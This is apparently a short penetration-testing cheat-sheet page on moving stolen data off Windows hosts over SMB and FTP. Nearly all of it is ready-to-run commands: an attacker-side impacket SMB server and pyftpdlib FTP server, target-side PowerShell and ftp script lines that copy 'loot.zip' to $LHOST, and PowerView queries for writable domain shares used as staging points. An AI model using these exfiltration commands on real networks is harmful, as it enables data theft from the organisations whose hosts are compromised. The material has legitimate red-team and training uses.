Skip to content
HackIndex logo

HackIndex

Windows Exfiltration over SMB and FTP

3 min read May 15, 2026

SMB and FTP are native Windows protocols with built-in client support on every Windows version. SMB is the fastest option when outbound port 445 is allowed — it supports direct file copy with no encoding overhead. FTP is a fallback for environments where SMB is blocked but legacy file transfer protocols are permitted.

SMB exfiltration

Serve an SMB share from your attack box and write files to it directly from the target. No additional tooling needed on the target side.

┌──(kali㉿kali)-[~]
└─$ # Impacket SMB server — no authentication
impacket-smbserver exfil . -smb2support
 
# With authentication (required by some Windows versions)
impacket-smbserver exfil . -smb2support -username $USER -password $PASSWORD 
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-...
[*] Server started, listening on 0.0.0.0:445
PS C:\Users\Guest\Desktop> # Direct copy — no mount needed
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\$LHOST\exfil\loot.zip
 
PS C:\Users\Guest\Desktop> # With credentials
PS C:\Users\Guest\Desktop> net use \\$LHOST\exfil /user:$USER $PASSWORD
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\$LHOST\exfil\
net use \\$LHOST\exfil /delete
 
PS C:\Users\Guest\Desktop> # PowerShell
PS C:\Users\Guest\Desktop> $cred = New-Object System.Management.Automation.PSCredential($USER, (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
PS C:\Users\Guest\Desktop> New-PSDrive -Name X -PSProvider FileSystem -Root \\$LHOST\exfil -Credential $cred
PS C:\Users\Guest\Desktop> Copy-Item C:\Windows\Temp\loot.zip X:\
Remove-PSDrive X

SMB transfers from newer Windows versions (Windows 10 1709 and later) require the server to support SMBv2 or later. The -smb2support flag in impacket handles this. If transfers fail with access denied errors, add authentication to the server and use net use with credentials on the target.

FTP exfiltration

┌──(kali㉿kali)-[~]
└─$ # Python FTP server with write access
┌──(kali㉿kali)-[~]
└─$ pipx install pyftpdlib
┌──(kali㉿kali)-[~]
└─$ pyftpdlib -p 21 -w
 
┌──(kali㉿kali)-[~]
└─$ # With authentication
┌──(kali㉿kali)-[~]
└─$ python3 -c "
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer
auth = DummyAuthorizer()
auth.add_user('$USER', '$PASSWORD', '.', perm='elradfmwMT')
handler = FTPHandler
handler.authorizer = auth
server = FTPServer(('0.0.0.0', 21), handler)
server.serve_forever()
"
PS C:\Users\Guest\Desktop> # FTP script file method — works in non-interactive shells
PS C:\Users\Guest\Desktop> $ftp = "open $LHOST 21`nuser anonymous anonymous`nbinary`nput C:\Windows\Temp\loot.zip loot.zip`nbye"
PS C:\Users\Guest\Desktop> $ftp | Out-File C:\Windows\Temp\ftp.txt -Encoding ASCII
PS C:\Users\Guest\Desktop> ftp -v -n -s:C:\Windows\Temp\ftp.txt
 
PS C:\Users\Guest\Desktop> # PowerShell FTP upload
PS C:\Users\Guest\Desktop> $ftpRequest = [System.Net.FtpWebRequest]::Create("ftp://$LHOST/loot.zip")
PS C:\Users\Guest\Desktop> $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
PS C:\Users\Guest\Desktop> $ftpRequest.Credentials = New-Object System.Net.NetworkCredential('anonymous', 'anonymous')
PS C:\Users\Guest\Desktop> $fileBytes = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip')
PS C:\Users\Guest\Desktop> $ftpRequest.ContentLength = $fileBytes.Length
PS C:\Users\Guest\Desktop> $stream = $ftpRequest.GetRequestStream()
PS C:\Users\Guest\Desktop> $stream.Write($fileBytes, 0, $fileBytes.Length)
PS C:\Users\Guest\Desktop> $stream.Close()
PS C:\Users\Guest\Desktop> $ftpRequest.GetResponse()

Exfiltration via existing SMB shares

In internal network engagements, data does not always need to travel back to your attack box directly. Accessible shares on other internal hosts can serve as staging points for collection before final extraction.

PS C:\Users\Guest\Desktop> # Find writable shares across the domain with PowerView
PS C:\Users\Guest\Desktop> Find-DomainShare -CheckShareAccess | Where-Object {$_.Writeable -eq $true}
 
PS C:\Users\Guest\Desktop> # Copy to writable share
PS C:\Users\Guest\Desktop> copy C:\Windows\Temp\loot.zip \\internal-server\writableshare\loot.zip
 
PS C:\Users\Guest\Desktop> # Verify write succeeded
PS C:\Users\Guest\Desktop> dir \\internal-server\writableshare\